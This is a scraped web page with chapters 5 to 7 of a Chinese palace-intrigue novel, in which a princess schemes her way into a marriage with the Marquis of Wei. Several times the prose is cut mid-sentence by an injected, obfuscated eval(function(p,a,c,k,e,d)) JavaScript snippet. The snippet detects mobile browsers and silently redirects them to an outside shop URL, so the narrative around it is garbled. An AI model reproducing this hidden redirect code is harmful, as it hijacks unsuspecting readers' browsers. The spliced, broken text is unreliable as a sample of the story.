忽的,一个惊悚得足以冻结血液的念头,在卫瀛脑海里掠过。 她猛地抓住窗框,指甲断裂出血也浑然不觉,盯着那群禁军的背影化作地平线上的黑点,唇瓣微抖。 不,不可能……父皇他…… 深吸一口气,低声吩咐烟素:“一会儿崔朔回来归队,立即告知本宫!” 约莫一个时辰后,烟素通报崔统领回来了。 卫瀛立即下令,“让内侍骑马去找崔朔,就说,本宫要停车修整片刻,命他即刻来护卫,越快越好!” 才派了内侍过去,卫瀛自己也下了车,顺着崔朔方向快步走去。 她绝不能给崔朔思考时间和掩盖的机会! 内侍把卫瀛的指令带到时,崔朔正往河边去,听了内侍的话,低头扫过自己周身,犹豫片刻,还是跟着去见卫瀛,刚好在半路碰上。 崔朔翻身下马,跪地施礼。 “崔统领。”卫瀛笑意不及眼底,没有立即免礼,反而闲聊起来,“本宫这么急着找你,没耽误你别的差事吧?” 崔朔语气平稳,“末将眼下并无公务在身。” 卫瀛略一转身,踱步走向崔朔的马,假装亲近的抚摸马的脖子,却细细的感受着手下的微湿触感、脉动急促,想来这马刚剧烈运动过,而马蹄上还沾着些黑红色的湿润泥土。 “崔统领当真没有公务么?”卫瀛声音平静,听不出半点情绪,“本宫两刻钟以前就遣人来找你,却没找到呢!” 崔朔回道,“方才末将去河边修整了。” 卫瀛唇角微勾,修整?撒谎,你的马明明刚刚剧烈跑动过。 “哦。”她掂了掂马身上的水囊,“那怎么没加满水?” 崔朔沉默了下,“…这河水微涩,末将不喜,便没有灌水。” “这样啊。”卫瀛步履悠哉的绕了他半圈,视线细细扫过他周身。因崔朔仍保持跪姿,前身都被遮住,她只看见那腰间佩刀,刀鞘入口处,夹着一小撮被扯烂的纤维,看起来像是低劣的粗麻。 卫瀛的心猛地沉了下去,口气却仍是娇俏动人,“呀,崔统领,你领口汗巾上沾的这是什么?” 崔朔一动不动,“末将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个内侍推着木车进来,上面的玉石如小山一般,光泽莹润,纯净至极,席间朝臣无不啧啧称奇,甚至有人立即作诗一首,称其为祥瑞现世。 景元帝登时大喜,“确乎是块宝玉!留州的水土果然灵气丰盈。” 留侯扬起笑脸,“陛下,臣以为,按此石外形走势来看,不妨取两端石料厚重处刻一凤一凰,即物尽其用,又不失吉兆。” 宫眷坐席间,内廷资历颇深的储美人坐在前列,她本兴致缺缺,听到那“一凤一凰”和“吉兆”的说辞后,却眉梢微抬,瞧了瞧站在下面的留侯。 此人嗜酒好色,及冠数年却迟迟不定下正室,常随舅舅幽侯进京朝觐,此番献玉,看来醉翁之意不在酒,而在求娶永固公主! 储美人视线一转,落在姜后身上,而姜后面色早已暗了下去。 哈,姜后这狐媚子苦心谋划,日夜盼着独女能得一如意郎君,若是到头来便宜了留侯这等货色,怕不是要气死! “陛下,”储美人红唇一勾,“一凤一凰岂不是凤求凰!祥瑞落于千里外的留州,想来是上天想牵—” 不等说完,便听卫瀛高声道:“不如蛟龙出海!” 5. 第 5 章 卫瀛话音一落,满座无声,姜后长舒一口气,转眸一瞥储美人,眼底寒光乍现。 席间储况听得那一句‘蛟龙出海’,垂眸敛目,指腹摩挲酒杯。 景元帝本来正凝神打量留侯,听得这高声一呼,不由神色一顿,迟了两息才开口道:“…蛟龙出海?” 卫瀛起身到玉石前,抬手轻抚,“双凤齐飞,到底局促了些,这宝玉是献给父皇的,合该大气磅礴。不如就着玉石走向,底部刻成滚滚波涛,上面蛟龙腾空而起,冲出水面直破云霄,岂不妙哉!” 景元帝混浊的眸子端详女儿片刻,开怀大笑,“好!就按瀛瀛说的办!” 储美人瞄了卫瀛一眼,方才留侯说的是‘一凤一凰’,她更进一步,说成‘凤求凰’,这小丫头却一口咬定是‘双凤齐飞’,又以蛟龙出海驳斥,果真有急智。 玉石被内侍推了下去,宴会重归喧闹。 有文臣吟诗作赋,字里行间皆是堆砌大启盛世下的繁华光景,而大司农则对景元帝夸赞说,冀侯推行精耕细作之法,近年进献的粮税增数居各州之首。 幽侯一笑,抚须说道,“冀侯勤勉,自是天下楷模,然后生亦可畏也!小甥留侯,承爵不过数年,便使留州囹圄空虚,刑措不用,这般政绩,实属难得啊!” 姜后视线刀片般刮过幽侯,转头对皇帝媚声佯嗔道,“陛下,您是开朝会来了!饮酒作乐,谈这些做什么,妾一个字也听不懂!” 景元帝宠溺一笑,拍拍姜后的手,“好,依皇后的,不谈这些。” 他朝宫眷坐席方向道,“你们聊些皇后喜欢听的事。” 卫瀛明白,幽侯显然还在谋划方才未竟之事,母后是在帮她抵挡。她正要开口说话,却听一侧澄阳公主掩唇笑道,“好啊,那女儿便说些内宅的趣闻听吧!” 卫瀛暗道不妙,卫汐改嫁晋侯前,可是幽侯夫人! 卫汐道,“女儿一次家宴上听留侯说,他日后要把留州西南的青、和二县,送给未来夫人,做食邑!呵呵,女儿便笑话他,说你那夫人还没影儿呢,就这般宠爱。” 卫汐杏眸一转,“要是真娶了妻,你那留州,还不都是夫人说了算!哈哈。” 卫瀛袖底手猛地一攥,指甲深深嵌入掌心。那青、和两地,铁矿密布,对父皇来说,分量绝对不轻!然,只是食邑,每年上缴银钱,并不涉及进献矿藏,何况铁石想从这两地运出来,需得经过留州大小数道关隘。纯粹是看得到、吃不着。 但,这个诱惑实在太大了! 景元帝不语,只是唇瓣微弯,视线停在留侯身上久久不去。 卫瀛忽的开口,“这叫宠爱?哈!姐姐别逗我笑了!” “哪个诸侯夫人不是执掌内职、母仪封国?整个留州都该是她的食邑!何需谁人‘赏赐’?” 诸侯封地,皆来自太祖皇帝亲赐,诸侯本人才是唯一所有者,夫人可享用赋税收益,却绝不会有封地所有权,能赏赐一两处食邑,已是莫大恩宠,遑论‘整个留州’? 一句话,悍然越过了大启三百年女子不得分封的铁律,故而此话一出,全场静寂。席间勋贵命妇面面相觑,眼中尽是难以置信,这位公主殿下当真是被宠得没了边! 唯有景元帝敛去表情,指尖在桌上一声轻叩。 席间幽侯手中酒杯,在半空悬停,他眯起眼细细打量着卫瀛,眸光深沉,仿佛在评估着什么,随即朝外甥一使眼色,示意他不要再做其他举动。 储况身后一随行的魏州家臣凑近低语,“太狂傲了!简直不把诸侯放在眼里啊。” 储况眼睫簌簌一落,举杯自酌,“…锦绣堆里的凤凰,合该如此。” 卫瀛起身,神态倨傲的扫过满座宾客,都好好看看,都记住本宫此刻霸道狂妄的样子,看哪个狂徒,还敢把龌龊主意打到本宫身上! 她朝景元帝略带慵懒的说,“女儿有些乏了,歇息片刻便回。” 说罢,悠然离席。 卫瀛寻了围场一个高处,在亭里落座,饮了些醒酒汤,才撂下碗,目光掠过下方,便见不远处,储美人与储况也已离席,在一处水榭相见。 只见储美人鬓边步摇颤动,正以丝帕拭泪,手紧紧攥着储况的衣袖,即便隔得远,卫瀛也能感受到那份几乎要溢出的悲戚。 啊,是了,储况袭爵后初次朝觐与姑母相见,定然勾起储美人对战死的胞兄——老魏侯的哀思。 而她面前的储况,一袭月白衣袍,身姿如竹,静立不动。 细瞧他面色,沉静似水,柔和至极,却没多少哀伤。 储美人哭得难以自抑,身体前倾,几乎要靠上侄儿肩头,而储况却不着痕迹地将手收回,微微侧身,维持一个恭敬却疏离的距离。 这对姑侄,真是一热一冷,一悲一静,仿佛有一道线横亘在两人之间。 卫瀛一挑娥眉,寻常人提及战死的父兄之时,纵不落泪,眼神也该软个三分。可储况挺拔的背影,如一片无波的静水,仿佛那场葬送了父兄性命的惨烈战役,与他毫无干系,更看不出,他自己也曾亲历那人间炼狱。 那年魏州大军遭北国埋伏,储况父兄皆战死,数万将士,唯独他一人重伤归来。 卫瀛深深的吸了一口气,魏侯储况,你到底是冷情冷性至此,还是说……你手中的魏州权柄,得来并非全靠‘运气’? 这个冰冷的疑问,在卫瀛眸子里点亮一道光,恍若毒蛇的竖瞳。 罢了,冷情冷性也好,不择手段也罢,她的投名状已备好,都是时候见真章了! “玉扇,明日一早,去魏侯处,告诉他,本宫偶然得了件东西,和齐氏太夫人颇有些‘渊源’,不知魏侯可有空闲同赏?” 玉扇才应下,一个内侍便进了亭子,“殿下,陛下正寻您呢,说是要玩击鼓传花了,让您赶快回去。” 卫瀛起身,带着侍女返回宴席。 水榭前的湖面上,映出不远处一抹烟粉色,飘然而去。 储况视线滑过水面,眸光一转,便瞧见卫瀛与宫人离去的背影,烟粉色的宫裙好似一片繁密的海棠。 储美人心绪稍微平复,“况儿,你如今虽袭爵,可姑母听说,齐氏仍以嫡母之名,把持魏州事务,她这般视你如无物,你如何咽的下这口气?” “侄儿出身低微,能承袭爵位,全靠太夫人扶持,母亲早年也曾助父兄打理魏州政务,而况初出茅庐,想来她只是放心不下罢了。” 储美人面露愠色,“你倒是仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070821|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善!哼,她齐氏欺人太甚,欺本宫兄长早亡,哼,她也活该饱尝丧子之痛!” 说完,储美人自知失言,即便她恼恨齐氏,但齐氏的独子储冽也是她嫡亲的侄儿,她不该这般恶毒。 储美人略一顿,转而道,“况儿,你年岁不小了,齐氏还没替你张罗婚事么?” 储况本来只是老魏侯储雍的一个外室子,魏州压根没人把他当回事,婚事自然无人关心,后来他被齐氏看中扶植,为免他分心,连个妾室都没给他挑,但如今他已经袭爵,一切今非昔比。 储况淡然回道,“母亲属意齐家六娘子。” 储美人一手掀翻了茶盏,“她齐家的女儿没处嫁了吗?你不能答应啊,况儿,你难道想和你父亲一样,被齐家女钳制一辈子么!” 储况仍是那副温润神色,“听闻齐家六娘子七岁便能吟诗作画,素有才学,母亲中意她,也实属正常。” “不行!”储美人怒道,“况儿,你不能坐以待毙,不妨…姑母帮你挑个公主?对,挑个不受宠、好拿捏的,不会碍你的事,齐氏也无法拒绝!” 储况略凝眸,视线又回到那水面上,此时水面空荡荡的,只余粼粼波光,“姑母以为,什么样的公主,算好拿捏呢?” 储美人:“自然是性子软和、胆小怯懦的。” 储况唇畔浮起一抹笑意,“姑母在天家安享尊荣即可,至于魏州之事,实不敢烦扰姑母清净。” 储美人一愣,储况已抬步而去。 他沿水边花/径往回走,身边心腹道,“主公,齐家六娘子已经启程,不日便可抵达襄平,您当真要迎娶?” 储况轻轻拂去一片落在肩头的花瓣,“山高水长,能不能到,看那姑娘的造化了。” 头顶花间漏下点点碎光,落在他面上,端丽的脸孔褪去温度,好像恶鬼才绘好的画皮,笔墨未干,鬼气未消。 心腹听后面色一寒,眸子里露出凶光。 转日晨间,玉扇前往围场里魏侯营帐。 大帐内,仅有魏侯本人和一位气质沉凝、目光深邃的白衣老者,正是魏侯恩师贺衍之。 储况并未着骑装,而是穿着一身荼白衣袍,正临案抚琴,琴音淙淙,如林间清风,衬得他周身气度越发恬淡宁静,完全不似身处猎场,倒像是在世外桃源。 魏州随从将玉扇的话一字不落的带到,储况眼眸微垂,琴音未断,连一个杂音都无。 直至一曲终了,余音袅袅散尽。 他指尖轻按在微颤的琴弦上,“传话给公主侍女,就说,臣与太夫人,患难与共,母子情深,承蒙殿下雅兴,若殿下明日得闲,围场外溪水畔,臣愿当面请教,何物能与家母有旧。” 又命随从取来一个檀木小匣,一同转交,“此物,是臣献给殿下的‘见面礼’,还望殿下,不吝赐教。” 随从走后,贺衍之起身,一挑储况面前的琴弦,如杜鹃轻啼。 “云卿,”贺衍之以储况表字相称,口气关切,“此女霸道骄矜,来意不善,你那‘见面礼’,恐怕镇不住她,明日之行,恐惹祸端。” 储况眉目含笑,“劳先生挂念,福兮祸兮未可知,至于学生那‘见面礼’,只是为了引凤凰注目的一叶梧桐罢了。” 6. 第 6 章 片刻后,玉扇带着那檀木小匣返回围场内公主营帐。 卫瀛屏退左右,目光落在那个檀木小匣上,轻轻一拨匣子卡扣,面带一丝狐疑的掀开。 青黑缎面的内衬里,静静的卧着一方青铜官印,沾着些许锈蚀和污迹。 她拿起官印翻转一看,底部赫然露出四个篆文大字——司兵李盛! 一道惊雷在卫瀛脑海中炸开,指尖瞬间变冷。 他知道! 魏州在京畿的势力比我想的更深、更广?! 这不是‘见面礼’,而是‘战书’! 然而,这股寒意仅持续了短短一瞬。 卫瀛指尖摩挲着那镌刻的字,眸光闪烁,思绪如电。 不对,若他完全知道,那便是掌握了我的底牌,明日大可安安稳稳的前来赴约,何必多此一举? 这不像示威,更像是……试探。 他送来的,只是我的消息源头,他只知道我曾接触过李盛,却不知对方到底告诉了我什么、告诉了多少。 想通此处关节后,卫瀛长出一口气,冷笑一声。 哈,储况,你送来的不是什么战书,而是你外强中干的证据! 你露怯了! 哐的一声,卫瀛将官印重重按在桌上,面上已是一片沉着傲然。 好啊,你既然想探本宫的底,本宫便让你看个明白,明日溪畔,到底是谁,牵着谁的鼻子走! 围场东南,溪水畔,杨柳夹岸。 卫瀛一袭湘妃色宫裙,乘着轿撵,跟着如云的侍女内侍,翩然而至。 玉带桥边,近岸处泊着一叶乌篷小船,魏侯独身立于船头,正敛目吹着一只洞箫,箫音清幽,如同山间清风。 “魏侯好雅兴!”卫瀛一抬手,轿撵落地,侍女躬身扶着她下来,步履款款行至岸边船前,“可让魏侯久等了?” 储况下船,恭谨施礼,“臣适才刚到,再者静候殿下銮驾,此乃臣之所幸。” 卫瀛笑笑,转而瞧着四周风景,“这景色不错,不知魏州也有此等美景吗?” “魏州地势起伏,虽有几处景致还算秀丽,但难与京畿相提并论。” “魏侯太过自谦了,”卫瀛转脸觑着他,“依本宫看呐,魏州‘人杰地灵’,是个好地方。” 储况不语,卫瀛顿了顿,屏退宫人,仅余玉扇和烟素。 卫瀛自袖中取出一个锦袋,交由侍女递给储况,“本宫不和魏侯绕圈子了,本宫意外得来件东西,这锦袋里只是一小部分,借魏侯慧眼瞧瞧,这东西,价值几何啊?” 储况闻言,沉静片刻,才接过锦袋,取出一个小卷轴,展开后,赫然是一些齐氏太夫人的罪证,虽只有一部分,但全貌并不难猜,必定是与京畿势力勾结贪墨。 还特意保留了齐氏将军资买入祁州的部分。 她倒是会取舍,露出来的部分,都是罪证里最危及魏州命门还有戳他痛脚的东西。 静默几息,储况合上卷轴,淡然一笑,“殿下手笔,果然非同凡响。” 卫瀛抬步,绕着储况慢慢踱步,裙摆簌簌滑过他周围的草地,“魏侯还没回答本宫的问题呢,这东西,值多少?” 储况转眸跟上卫瀛身影,笑道,“…那要看殿下,想要多少了。” “哈!怎么,你怕给不起?”卫瀛讥笑道,一转身,拉开两人距离,“别怕,你那小小魏州,每年粮税在九州里都是垫底的几个,能有什么好东西值得本宫惦记?哼!” 储况负手而立,指尖几不可查的摩挲着另一只手的掌心,“既然殿下知道魏州贫弱,那看中的想来并非黄白之物,臣竟不知,魏州能有何物能让殿下动心?” “自然有!”卫瀛一步步逼近储况,“魏州有个宝物,如玉如琢,天底下找不到第二个!” 储况眸光微凝,没有接话。 只见卫瀛定定的瞧着他,抬手轻轻在他衣襟一点,一触即离,“就是魏侯啊!” 储况神色微滞,平生第一次感觉到一股被人调戏的荒谬感,躬身拱手,“……臣惶恐,蒙殿下抬爱……” 不待他说完,卫瀛便神色骤冷,尽显倨傲之态,“呸!谁说本宫喜欢你,别会错意了!” 她前后态度冷热巨变,饶是储况,也一时摸不清底细,只得闭唇不语。 “本宫啊,眼下烦着呢,”卫瀛转身隔远了些站定,理理鬓边珠翠,“父皇母后逼着本宫挑驸马,可那备选的人,哼,一个比一个讨厌!有的丑、有的蠢,哈,竟没一个能入眼的!” “这时候,本宫偶然得了这东西,”卫瀛笑笑,“忽的灵机一动,想与魏侯做笔交易,不如魏侯你来娶我,到了魏州后,咱们做一对表面夫妻,互不干涉,如何?魏侯觉得,这东西,值不值一个夫人之位呢?” 储况道,“敢问殿下,臣若应下,您手中其余部分,以及……此物背后所有‘渊源’,是否便与殿下再无干系?” 卫瀛一笑,“怎么,怕本宫留后手,日后继续要挟你?” 她头微微一昂,“这东西于我,不过是一块敲门砖,门要是开了,此砖是扔是留,全看本宫心情,但魏侯把心放肚子里,本宫才不会贪得无厌呢,再说你和你那魏州,还有什么值得本宫稀罕的?” 储况静静的端详着卫瀛,面色无波无澜,仿佛卫瀛只是说了几句闲聊的话,卫瀛也不说话,唇边一直挂着抹浅笑。 良久后,储况折了一枝嫩绿欲滴的新柳,笑意温柔,“承蒙殿下青眼,况愿以柳为证,不日便会向陛下求娶。” 卫瀛接过柳枝,风过青梢,抚动两人衣袂。 此刻的溪畔静默无声,却仿佛能听见一个时代,正于此间悄然胎动。 围猎后,众人返回京畿城中。 卫瀛梳洗更衣后,立即动身前往皇后寝宫。 玉坤宫内殿,云绡霞幄之间,卫瀛双膝跪地,只对姜后说了一句话,“女儿只能嫁魏侯。” 不是‘愿意’,更不是‘只愿’,而是‘只能’。 熏香袅袅中,姜后起身一步步到了她面前,“不行!母后之前就说过,魏州实力并不够看。” “请母后信女儿。” 姜后冷声道,“哈,那你信的又是什么?” 卫瀛沉默一瞬,语气坚定:“魏侯储况。” “魏侯?”姜后长眉一挑,“他有什么?哼,依母后看,他那魏州,地域不广,土地不丰,唯有地势易守难攻,如何与强晋相提并论?” “地域大小、土地贫腴?”卫瀛笑道,“母后,天下各州,论强弱,视野岂能局限在那些死物上!” “那看什么?”姜后满脸不解。 “人!”卫瀛声音铿锵,“女儿相信,事在人为,若一州之主,心怀鸿鹄之志、身负鬼神之才,便可聚民心、凝众力,化不可能为可能!” “你觉得那魏侯,是这般人物?”姜后眯起眼,眉心紧蹙,“自你提起他后,母后也瞧了瞧他,此人出身虽低,但为人倒是一派风光霁月,逢盛世或可成贤臣,可生于如今的天下……不过是一粒尘埃。你信他什么?” “如今的天下,才必须做尘埃!”卫瀛抬头,目光灼灼,“木秀于林,必遭摧折,唯有尘埃,方可随风而起,于无声中,覆满乾坤!” 姜后呼吸一滞,前几日那屏风后,丞相张申劝谏的低语犹在耳畔,“娘娘,魏侯储况,示弱于外,敛芒于内,恰似尘埃覆珠,只待风起,便可光耀乾坤!” 此刻,两个声音在姜后脑海中重叠,仿佛一阵长久回响,自渺远岁月中传来。 姜后手抓紧裙裾,目光深深的落在卫瀛身上,眼底有惊诧、有审视,还有一股难以自抑的怅惘。 内殿陷入一片死寂,唯有殿外廊檐下金铃随风而响。 最终,姜后极轻、极缓的阖上眼睛,仿佛二十年深宫里凄风苦雨,此刻终于耗尽了最后一丝力气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070822|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “…这么说,你都想好了?” “女儿心意已决。” 暮春的风穿过悠长宫道,花如雨下,带起阵阵馨香。 “殿下,奴婢听说,魏州山川秀丽,水碧云轻,最是人间逍遥处!”玉扇欢快的跟在卫瀛肩舆旁。 “本宫去魏州,不是去玩的。”卫瀛慢悠悠的道。 玉扇不解,“公主不是看了各州舆图,才挑的魏州吗,不图山水,图什么?” 卫瀛没有回答,而是轻轻抬臂,张开手再一点点握紧,仿佛要将那轮旭日,尽收掌心。 “到了魏州,”卫瀛吩咐道,“不,从启程开始,都给本宫提起十二分的精神,少说多看,凡有什么不寻常的,一律速速来报。” 侍女都忙应下。 宫道一侧拐角处,却见几个内侍聚在一处,窸窣低语,“骨头真硬啊!”“可惜一个好官。”“唉!陛下太…”“嘘!” 待卫瀛步撵自转角另一头出现,众人一惊,慌乱中皆做鸟兽散。 “站住!”玉扇反应迅疾,大喝一声,“公主殿前,你们不跪地行礼,跑什么!” 几人忙又折返,扑通跪地,“奴,奴才们,眼拙,没,没看清…” “大胆!”玉扇娥眉倒竖,“还敢狡辩!” 卫瀛一挥手,玉扇息声,退后半步。 卫瀛瞧瞧宫道前方,远处似乎也聚着三四个宫人,“你们刚才聚在一起,嘀咕什么呢?那前面,可有什么动静?” 内侍们互相瞧瞧,终于有一人道,“奴才们,刚在议论方大人。他前两日进谏,惹怒陛下,受了杖责,陛下让他跪在百官朝会必经之处,没有陛下旨意,不得起来。” 卫瀛心思一动,“哪个方大人?” “大司徒,方鸿绪大人。” 卫瀛面色亮了起来,此人乃朝中肱股之臣,前世不知为何获罪,后来有一阵子湮灭无声,最后不知如何流落至魏州,投诚了储况,成了他的左膀右臂。 既然储况与他前世有君臣缘分,今生她不妨顺水推舟,既送储况一个人情,又让方鸿绪记下她一份恩情,日后方鸿绪便是她在魏州打下的第一根楔子! “去告诉魏侯,”卫瀛吩咐侍女烟素,“就说宫道上有块顽石,前几日硌了父皇的脚,本宫要他去把这石子轻轻踢开,也算还了那日宫宴以花枝代鞭的一点‘利息’。” 然后卫瀛的步撵便朝那宫道尽头而去。 一个清癯背影跪在承阳殿不远处,背后衣袍撕裂,血痕狰狞,脚边血迹凝结成一团墨色,腰背却仍挺拔,如一根竹立在红墙下。 烈烈日光下,来朝会的百官们来了又走,途径方鸿绪身侧,却都仿佛没看见他。唯有几个宫人路过时觑他一眼,低语几声,面露怜悯痛惜之色。 承阳殿迟迟不见旨意出来,陛下仿佛忘了方大人一般,可怜他位极人臣,却已两日未进水米,想来是要活活渴死、饿死在宫墙内。 众人目光,方鸿绪恍若未觉,仍是面朝承阳殿方向,望向那晴阳下高耸的丹墀,身体早已衰弱不堪,每每要昏厥之际,他便一拧腿侧,再度挺直身体,死死支撑。 “来人,去给方大人些清水喝。”身后传来清亮女声。 一架肩舆过来,并不落地,一个美貌女子正坐在上面俯视着他。 方鸿绪辨识了下,认出是那娇纵得没边的永固公主。 一碗水递到面前,方鸿绪却并不领受。 “不劳殿下,”声音嘶哑至极,猛地咳嗽几声,又道,“臣,既然敢直言相谏,便不惧赴死,只求,无愧于天地苍生。” 卫瀛笑道,“有骨气是好事,可是刚而易折,若早早的就折断了,还谈什么无愧于天地苍生?” 方鸿绪这才抬起脸,望向卫瀛,只见那背光里的一双眸子,虽笑意满盈,却幽深至极。 他扯了扯干裂的嘴角,“那殿下觉得,如何才能无愧呢?” 7. 第 7 章 听了方鸿绪的问题,卫瀛笑得狡黠,好啊,想难住我?看我怎么把问题抛回去,引你上本宫的钩。 她微微俯下身,迎上方鸿绪执拗的目光,“那方大人觉得,天底下,什么东西最坚韧呢?想要无愧于天下,答案就在这东西里。” 方鸿绪怔愣在原地,嘴唇微张,那些慷慨激昂、从容赴死的说辞,此刻都被卫瀛一句反问堵在了肚子里,一个字也说不出来。 隔了半晌,看火候差不多了,卫瀛才慢悠悠说道,“本宫认为,这世上最坚韧的东西不是钢、不是铁……而是水,至柔方可至韧!” 方鸿绪垂在身侧的手一颤,“…殿下这番见解,倒是有些玄理。” “哈!”卫瀛显出几分得意之色,“你竟敢说‘有些’?本宫面前,也敢如此狂妄?那本宫今日倒要考考你,大人觉得,何为水德?” 方鸿绪别开视线,似乎没闲心与娇蛮公主论道,犹豫几息,碍于规矩,还是回答说:“…自然是,利万物而不争。” “不!”卫瀛驳斥,“本宫认为,水之德,不仅在润物无声,更在于形态万千,外在虽变,但本心不变,这个本心,便是荡涤天地,激浊扬清!” 方鸿绪望向卫瀛,那话语未尽之意,如雷贯耳,听得他胸口起伏,两人对视良久,方鸿绪转向那碗水,伸手取来,咕咚咚饮尽。 双手将那碗举过头顶,叩谢道:“臣方鸿绪,谢殿下赐水之恩!” 卫瀛笑笑,“本宫不缺你这一拜,本宫相信,天无绝人之路,方司徒既然想明白了,日后定能有另一番早就,只待那时,再谢本宫吧。” 肩舆起驾,缓缓离开。 回到永乐宫的路上,肩舆悠然穿行于朱墙之间,卫瀛指尖抚过鬓角,事情进展的如此顺利,她本该志得意满,可一抹淡淡的阴影却不经意间笼上心头。 几缕嫩柳从墙头垂下,掠过肩舆华盖。 卫瀛下意识的抬手,信手折了一段柳枝。 嫩绿柳枝在她指尖被弯折、缠绕,柔韧的枝条被揉搓出些许汁液,带起一阵青涩香气。 ‘他答应的太快了……’ 这个念头一起,便如藤蔓疯长,柳枝将她手指勒出一道浅痕。 ‘一个被要挟的人,不该如此平静。除非……他眼里看到的根本不是威胁?’ 她猛地将柳枝攥紧,储况折柳时那从容的笑意、应允时那无波的眼眸,此刻都清晰的浮现在她眼前。 ‘那日杨柳岸,他心里到底在盘算什么?’ 指节被勒得微微发白,她倏地伸展开手指,看着那段已经被揉搓得不成样子的柳条,面无表情的将它丢到了宫道上。 转日,永乐宫。 烟素向卫瀛禀报:“魏侯接到您的吩咐后,立即动身去了承阳殿面圣,奴婢暗中瞧着,他没一会儿功夫就出来了。” 烟素顿了顿,又道,“奴婢今日一早去打听,陛下一纸诏书,已经将方大人全家发往魏州流放了。” 玉扇略有一丝惊奇,“公主刚救了方大人一命,他就也要去魏州了,倒真是巧了,可惜…还是罪臣之身。” 卫瀛轻笑一声,储况早有招贤之心,方鸿绪名义上虽然是罪臣,但到了魏州只怕摇身一变,成为座上宾了。而且储况想得多周全,全家流放,免得方鸿绪有后顾之忧。 父皇啊父皇,在您眼皮子底下,魏侯就挖走了大启肱股之臣! 很快,魏侯求娶永固公主的消息传遍京畿,景元帝欣然准婚,圣旨降至永乐宫。 然而旨意末尾却写道:“命禁军统领崔朔,卸任禁军郎中令,转任永固公主府亲卫都尉,率五百禁卫,护公主嫁入魏州,永世戍卫,不得返京!” 卫瀛跪地接过圣旨,指尖深深陷入锦帛里,鼻尖还是那淡淡的龙涎香。 父皇,这五百禁卫,是女儿的护卫,还是您插入魏州的一把匕首呢? 看来,哪怕如今的魏州尚且弱小,您也不会真的放女儿自由。 何况,这五百护卫怕是要惹来麻烦,储况如何能容得下他们? 但此后纳吉问名、过聘礼、点嫁妆,无事不顺利,魏侯对景元帝塞来的五百禁军一点反应也没有。 景元三十三年,春夏之交,永固公主出嫁魏州,随行奴仆护卫千余人,嫁妆车驾浩浩汤汤,绵延二十里,车轮腾起的烟尘遮天蔽日,三日不散。 一路风和日丽,行至中途,卫瀛择了一处驿馆,吩咐停下修整两日。 转日晨间,驿馆中随嫁的奴仆和护卫才用完朝食,便听得外面马蹄声阵阵,都出去查看,只见一大群士卒,身披玄铁甲,腰佩长刀,正驱马自官道另一头过来。 卫瀛在驿馆二楼凭窗而望,那走过来的兵马,马匹阵列整齐,将士目光坚毅,孔武挺拔,旌旗招展,上面的‘魏’字分外夺目。 为首的两人是魏州家臣,进到驿馆来,叩见卫瀛后,其中一个递来储况亲笔信。 信中写道:“山高水远,臣特遣三百魏军一同护卫,日后亦做为亲卫,供殿下差遣。然,魏州有律,凡私藏兵刃弓箭超百副者,皆论罪惩处,臣近日深感踟蹰,殿下屈尊纡贵下嫁于臣,但律法若破例,臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070823|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日后恐难服众心,愿殿下恕罪。” 卫瀛撂下信纸,看向窗外那黑压压的三百魏军。 好啊!储况不但要限制她禁军亲卫的武装,还要派自己人混进来! 魏侯储况,果真好盘算! “带本宫话给魏侯,就说,劳魏侯费心了。”卫瀛吩咐家臣后,笑颜一展,又转向崔朔,“既然如此,崔统领,你带来的人便贴身负责本宫的起居安全,外围的差事,日后就交给魏侯的‘自己人’吧。” 此时,那另一位年岁较长的家臣,满脸堆笑开口道,“殿下,臣奉齐氏太夫人命,前来禀告,殿下来魏,乃魏州之幸,本应举全州之力,为殿下营造公主府邸,然近年魏州农事不顺,财税有亏,军资粮饷尚且难以周全,实难为殿下建府。” 卫瀛面上没什么表情,唯有指尖在椅子扶手上轻轻敲了下。玉扇已面露不满,上前半步刚欲开口,卫瀛一道视线便飘来,玉扇忙敛去表情,闭上了嘴。 那家臣抬眼觑着主仆神色,卫瀛却笑道,“怎么不说了?继续啊。” 家臣笑意如初,再度说道,“太夫人特意按规制,在侯府里为殿下挑了一处居所,清幽雅致,取名沐云馆,洒扫一新,恭候殿下銮驾。” 他从袖袋里取出一副小卷轴,“太夫人特意命臣带来侯府的图纸,标好了沐云馆位置和其他各处,供殿下过目。” 